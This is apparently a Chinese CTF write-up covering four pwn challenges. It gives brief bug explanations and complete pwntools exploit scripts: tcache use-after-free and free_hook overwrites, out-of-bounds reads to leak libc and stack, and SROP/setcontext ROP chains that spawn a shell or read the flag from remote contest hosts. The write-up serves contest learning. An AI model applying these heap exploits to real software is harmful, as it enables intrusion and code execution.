360,彳亍。
一模卷剩一个没时间做,冲刺卷做不出来。😁
虽然最后一卷九点放题,不过有一点还是考虑得很周全的,如果我在答题过程中猝死了,我拿的flag至少会被自动提交上去。

lonelywolf

libc2.27 1.3的UAF,这个版本的UAF有key。使用edit功能来绕过就行。难得就是只有一个指针,可以通过free掉不同大小的tchche来暂存指针。
具体可以自己调试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# -*- coding: utf-8 -*
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('lonelywolf')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./lonelywolf')

else:
p = remote(ip,port)
def add(index,size):
p.sendlineafter("Your choice: ","1")
p.sendlineafter("Index: ",str(index))
p.sendlineafter("Size: ",str(size))
def edit(index,content):
p.sendlineafter("Your choice: ","2")
p.sendlineafter("Index: ",str(index))
p.sendlineafter("Content: ",content)
def show(index):
p.sendlineafter("Your choice: ","3")
p.sendlineafter("Index: ",str(index))
def free(index):
p.sendlineafter("Your choice: ","4")
p.sendlineafter("Index: ",str(index))

add(0,0x78)
free(0)
add(0,0x68)
edit(0,p64(0)*7+p64(0x31))
free(0)
add(0,0x58)
free(0)
add(0,0x18)
add(0,0x78)
free(0)
edit(0,p64(0))
free(0)
edit(0,p64(0)+"\x20")
free(0)
show(0)
p.recvuntil("Content: ")
heap_addr = u64(p.recv(6).ljust(8,"\x00"))
print "heap_addr = ",hex(heap_addr)
edit(0,p64(heap_addr+0x40)+p64(heap_addr-0x250)+p64(0)*5+p64(0x81))
add(0,0x78)
add(0,0x78)
edit(0,p64(0)*7+p64(0xd1))
add(0,0x68)
free(0)
for i in range(7):
edit(0,p64(0)+chr(i))
free(0)
show(0)
p.recvuntil("Content: ")
libc_addr = u64(p.recv(6).ljust(8,"\x00"))-(0x7f96e519aca0-0x00007f96e4daf000)
free_hook = libc_addr + (0x7f96e519c8e8-0x00007f96e4daf000)
system_addr = libc_addr + (0x7f96e4dfe550-0x00007f96e4daf000)
add(0,0x48)
free(0)
edit(0,p64(0))
free(0)
edit(0,p64(free_hook))
add(0,0x48)
add(0,0x48)
edit(0,p64(system_addr))
add(0,0x28)
edit(0,"/bin/sh\x00")
free(0)
#gdb.attach(p)

p.interactive()
if __name__ == '__main__':
pwn('124.71.228.199',21512,0)

pwny

选项二有越界写,可以通过越界读来从随机文件流覆盖掉存放文件流的内存,假如那个随机数为\x00,艾玛起飞,直接就可以任意地址写。
然后通过负数读来读libc地址与程序地址,然后利用environ结构体泄露stack地址,然后写返回地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# -*- coding: utf-8 -*
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('pwny')
p = 0
def pwn(p):
def one(Index):
p.sendlineafter("Your choice: ","1")
p.sendafter("Index: ",Index)
def two(Index):
p.sendlineafter("Your choice: ","2")
p.sendlineafter("Index: ",str(Index))

#gdb.attach(p,"b *$rebase(0xC06)\n")
two(0x100)
one(p64(0xffffffffffffffff-0x20+8))
p.recvuntil("Result: ")
puts_addr = int(p.recv(12),16)
libcbase_addr = puts_addr -(0x7f590da8faa0-0x00007f590da0f000)
print "puts_addr = ",hex(puts_addr)
one_ge = [0x4f3d5,0x4f432,0x10a41c]
one(p64(0xffffffffffffffff-0x20+8+14))
p.recvuntil("Result: ")
link_addr = int(p.recv(12),16)+0x58
malloc_hook = libcbase_addr +(0x7f4428faac30-0x00007f4428bbf000)
free_hook = libcbase_addr + (0x7fa3c9b078e8-0x00007fa3c971a000)
system_addr = libcbase_addr +(0x7fe614906550-0x00007fe6148b7000)
environ_addr = libcbase_addr + (0x7f644574b098-0x00007f644535d000)
print "link_addr = ",hex(link_addr)
print "malloc_hook = ",hex(malloc_hook)
print "shell = ",hex(libcbase_addr+one_ge[2])
one(p64((environ_addr-link_addr)/8))
p.recvuntil("Result: ")
stack_addr = int(p.recv(12),16)-0x120
print "stack_addr = ",hex(stack_addr)
two((stack_addr-link_addr)/8)
p.sendline(p64(libcbase_addr+one_ge[2]))
p.interactive()
if __name__ == '__main__':
while(1):
try:
p = remote('124.71.239.245',24929)
pwn(p)
except:
p.close()

silverwolf

跟第一个题一样,就是多了个沙盒,直接在堆里构造srop的布局,然后利用setcontext还原寄存器的操作来控制寄存器,写orw。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
# -*- coding: utf-8 -*
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('silverwolf')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./silverwolf')

else:
p = remote(ip,port)
def add(index,size):
p.sendlineafter("Your choice: ","1")
p.sendlineafter("Index: ",str(index))
p.sendlineafter("Size: ",str(size))
def edit(index,content):
p.sendlineafter("Your choice: ","2")
p.sendlineafter("Index: ",str(index))
p.sendlineafter("Content: ",content)
def show(index):
p.sendlineafter("Your choice: ","3")
p.sendlineafter("Index: ",str(index))
def free(index):
p.sendlineafter("Your choice: ","4")
p.sendlineafter("Index: ",str(index))

for i in range(7):
add(0,0x78)
for i in range(11):
add(0,0x68)
for i in range(12):
add(0,0x18)

add(0,0x58)

#-----
add(0,0x78)
free(0)
add(0,0x68)
edit(0,p64(0)*7+p64(0x31))
free(0)
add(0,0x58)
free(0)
add(0,0x28)
free(0)
add(0,0x78)
free(0)
edit(0,p64(0))
free(0)
edit(0,p64(0)+"\x20")
free(0)
show(0)
p.recvuntil("Content: ")
heap_addr = u64(p.recv(6).ljust(8,"\x00"))
print "heap_addr = ",hex(heap_addr)
edit(0,p64(heap_addr+0x40)+p64(heap_addr-0x250)+p64(0)*5+p64(0x81))
add(0,0x78)
add(0,0x78)
edit(0,p64(0)*7+p64(0xd1))
add(0,0x68)
free(0)
for i in range(4):
edit(0,p64(0)+str(i))
free(0)
show(0)
p.recvuntil("Content: ")
libc_addr = u64(p.recv(6).ljust(8,"\x00"))-(0x7f96e519aca0-0x00007f96e4daf000)
libcbase_addr = libc_addr

print "libc_addr = ",hex(libc_addr)
free_hook = libc_addr + (0x7f96e519c8e8-0x00007f96e4daf000)
system_addr = libc_addr + (0x7f96e4dfe550-0x00007f96e4daf000)
libc =ELF("./libc-2.27.so")

pop_rdi_ret= libcbase_addr + 0x0215bf
pop_rsi_ret=libcbase_addr+0x23eea
pop_rdx_ret=libcbase_addr+0x01b96
open_addr=libcbase_addr+libc.symbols['open']
read_addr=libcbase_addr+libc.symbols['read']
puts_addr=libcbase_addr+libc.symbols['puts']
setcontext_addr = libcbase_addr+libc.symbols['setcontext']+0x35

frame = SigreturnFrame()
frame.rdi = 0
frame.rax = 0
frame.rsi = (libcbase_addr + libc.symbols['__free_hook'])
frame.rcx = (libcbase_addr + libc.symbols['__free_hook'])
frame.rdx = 0x2000
frame.rsp = (libcbase_addr + libc.symbols['__free_hook'])
frame.rip = libcbase_addr+ libc.search(asm("syscall\nret")).next()
payload = str(frame)

add(0,0x58)

add(0,0x58)
free(0)
add(0,0x68)
payload =p64(0)*2+p64(free_hook)+p64(0x3000)*3+p64(0x3000)+p64(free_hook)*2+p64(libcbase_addr+ libc.search(asm("syscall\nret")).next())+p64(0)+p64(0x33)
edit(0,payload)

add(0,0x28)
free(0)
edit(0,p64(0))
free(0)
edit(0,p64(free_hook))
add(0,0x28)
add(0,0x28)
edit(0,p64(setcontext_addr))
add(0,0x58)
print "set =",hex(setcontext_addr)
gdb.attach(p)
free(0)
flag_addr=free_hook+17*8
orw=p64(pop_rdi_ret)+p64(flag_addr)+p64(pop_rsi_ret)+p64(72)+p64(libcbase_addr+0x0000000000043ae8)+p64(2)+p64(libcbase_addr+ libc.search(asm("syscall\nret")).next())
orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(heap_addr)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)
orw+=p64(pop_rdi_ret)+p64(heap_addr)+p64(puts_addr)+"./flag\x00"
#orw = p64(libcbase_addr+0x10a41c)

p.sendline(orw)

p.interactive()
if __name__ == '__main__':
pwn('124.71.228.199',21535,0)

game

程序实现了几个结构体。
1-6选项分别对应这添加新场景、在场景里加链、free链、打印内容、地图内id的上下左右移动。
这里的漏洞是在id上下左右移动的时候没有边界判断,导致了任意地址单字节写。
由于libseccomp在添加沙盒的时候会调用各种malloc与free,导致tcache链条上有很多已经free好的指针。直接单字节扣过去覆盖fd为free_hook就行。
后面就是orw。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
# -*- coding: utf-8 -*
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('game')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./game')

else:
p = remote(ip,port)
def add(long2,wide):
payload = "op: 1\nl: "+str(long2)+"\nw: "+str(wide)+"\n"
p.sendlineafter("cmd> ",payload)
def dest(id2,size,desc):
payload = "op: 2\nid: "+str(id2)+"\ns: "+str(size)+"\n"
p.sendlineafter("cmd> ",payload)
p.sendafter("desc> ",desc)

def free(id2):
payload = "op: 3\nid: "+str(id2)+"\n"
p.sendlineafter("cmd> ",payload)
def show():
payload = "op: 4"+"\n"
p.sendlineafter("cmd> ",payload)
def xia(id2):
payload = "op: 5\nid: "+str(id2)+"\n"
p.sendlineafter("cmd> ",payload)
def shang(id2):
payload = "op: 6\nid: "+str(id2)+"\n"
p.sendlineafter("cmd> ",payload)
def zuo(id2):
payload = "op: 7\nid: "+str(id2)+"\n"
p.sendlineafter("cmd> ",payload)
def you(id2):
payload = "op: 8\nid: "+str(id2)+"\n"
p.sendlineafter("cmd> ",payload)

add(4,6)
dest(6,0x20,"\x11")
dest(3,0x500,"\x22")
dest(18,0x20,"\x33")
show()
p.recvuntil(") ")
libc_addr= u64(p.recv(6).ljust(8,"\x00"))
libcbase_addr = libc_addr -(0x7fab529aac33-0x7fab525bf000)
free_hook = libcbase_addr + (0x7fab529ac8e8-0x7fab525bf000)
print "libc_addr = ",hex(libcbase_addr)

free(6)
free(3)
free(18)

dest((free_hook>>5*8)&0xff,0x10,"\x11")
for i in range(11):
shang((free_hook>>5*8)&0xff)
you((free_hook>>5*8)&0xff)
#---------------------
dest((free_hook>>4*8)&0xff,0x10,"\x11")
for i in range(9):
shang((free_hook>>4*8)&0xff)
you((free_hook>>4*8)&0xff)
you((free_hook>>4*8)&0xff)
you((free_hook>>4*8)&0xff)
#------------------
dest((free_hook>>3*8)&0xff,0x10,"\x11")
for i in range(8):
shang((free_hook>>3*8)&0xff)
you((free_hook>>3*8)&0xff)
#------------------
dest((free_hook>>2*8)&0xff,0x10,"\x11")
for i in range(7):
shang((free_hook>>2*8)&0xff)
for i in range(4):
you((free_hook>>2*8)&0xff)
#-----------------
dest((free_hook>>8)&0xff,0x10,"\x11")
for i in range(8):
shang((free_hook>>8)&0xff)
#---------------------
dest((free_hook)&0xff,0x20,"\x11")
for i in range(8):
shang((free_hook)&0xff)
print "free_hook = ",hex(free_hook)

libc = ELF("./libc-2.27.so")

pop_rdi_ret= libcbase_addr + libc.search(asm("pop rdi\nret")).next()
pop_rsi_ret=libcbase_addr+libc.search(asm("pop rsi\nret")).next()
pop_rdx_ret=libcbase_addr+libc.search(asm("pop rdx\nret")).next()
open_addr=libcbase_addr+libc.symbols['open']
read_addr=libcbase_addr+libc.symbols['read']
puts_addr=libcbase_addr+libc.symbols['puts']
setcontext_addr = libcbase_addr+libc.symbols['setcontext']+0x35
frame = SigreturnFrame()
frame.rdi = 0
frame.rax = 0
frame.rsi = (libcbase_addr + libc.symbols['__free_hook'])
frame.rcx = (libcbase_addr + libc.symbols['__free_hook'])
frame.rdx = 0x2000
frame.rsp = (libcbase_addr + libc.symbols['__free_hook'])
frame.rip = libcbase_addr+ libc.search(asm("syscall\nret")).next()
payload = str(frame)

dest(1,0x60,"\x11")
dest(2,0x400,payload)#-=
for i in range(4):
dest(10+i,0x60,"\x11")
dest(15,0x60,p64(setcontext_addr))
print "setcontext_addr = ",hex(setcontext_addr)

#gdb.attach(p,"b *$rebase(0x01CE7)")
free(2)
flag_addr=free_hook+17*8
orw=p64(pop_rdi_ret)+p64(flag_addr)+p64(pop_rsi_ret)+p64(72)
orw+=p64(libcbase_addr+libc.search(asm("pop rax\nret")).next())+p64(2)+p64(libcbase_addr+ libc.search(asm("syscall\nret")).next())
orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(free_hook+0x400)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)
orw+=p64(pop_rdi_ret)+p64(free_hook+0x400)+p64(puts_addr)+"flag\x00"
#pause()
print "x = ",libc.search(asm("syscall\nret")).next()
p.sendline(orw)
p.interactive()
if __name__ == '__main__':
pwn('124.71.228.199',21553,0)

总结

今年的题比去年还是难一点的,还有一道冲刺卷的大晚上的上题,然后没熬出来。
还有就是py也太严重了。这些题都被人打碎了,真就离谱。